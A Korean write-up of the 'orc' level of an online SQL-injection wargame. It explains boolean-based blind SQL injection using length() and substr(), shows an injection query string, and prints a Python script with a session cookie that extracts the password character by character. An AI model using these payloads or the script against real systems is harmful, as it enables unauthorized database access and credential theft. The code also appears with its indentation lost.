pw 알아내는 과정을 두 단계로 설명해 보면 먼저 pw의 길이를 알아내고 알아낸 길이로 실제 pw 값을 알아낼 수 있다.
pw의 길이를 알아내는 방법은 length() 함수를 통해 알아낼 수 있고, pw 값은 substr() 함수를 통해 알아낼 수 있다.
length()는 문자열 길이를 반환하는 함수이고, substr()함수는 문자열을 특정 범위만큼 자르는 함수이다.
위 페이지에서는 쿼리의 조건이 참이면 "Hello admin"을 출력한다.
length() 함수를 이용하여 pw의 길이를 1부터 확인해 본 결과 pw의 길이는 8이였다.
query: ?pw=' or length(pw)=8--%20
pw의 값은 substr 함수로 1자리씩 참,거짓을 판단하여 구할 수 있다.
이 과정을 사람이 수행하기에는 경우의 수가 너무 많기 때문에 파이썬으로 자동화 코드를 짜서 실행하였다.
import requests
import re
cookies = {"PHPSESSID": "38mrr1emu522is42ls4dq00svn"}
pwLen = 0
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
tryList = []
result = ""
for i in range(0,10):
tryList.append(i)
for i in range(97, 123): # 아스키 코드 값(영문 소문자)
tryList.append(chr(i))
for i in range(1,100):
lenPayload = "?pw=1' or length(pw)='" +str(i)
new_url = url + lenPayload
req = requests.get(new_url,cookies=cookies)
if re.findall("<h2>Hello admin</h2>", req.text): # pw 길이를 찾으면 길이를 저장하고 반복문 종료
pwLen = i
break
print("pw len : " +str(pwLen))
for i in range(1,pwLen+1): # pw 길이 만큼 반복
for w in range(0,len(tryList)+1): # 0~9 숫자 + 영소문자 갯수 만큼 반복
par = "?pw=1' or substr(pw," +str(i) +",1)='" +str(tryList[w]) # pw 값을 1번째 자리부터 숫자, 영소문자를 대입하여 비교
new_url = url + par
req = requests.get(new_url,cookies=cookies)
if re.findall("<h2>Hello admin</h2>", req.text): # 결과가 참이면 해당 값을 저장하고 다음 자리로 넘어감
print(tryList[w])
result += str(tryList[w])
break
print("password is " +result)
위 코드를 수행하면 다음과 같은 결과값이 나오고, pw를 문제 페이지에 입력하면 문제가 해결된다.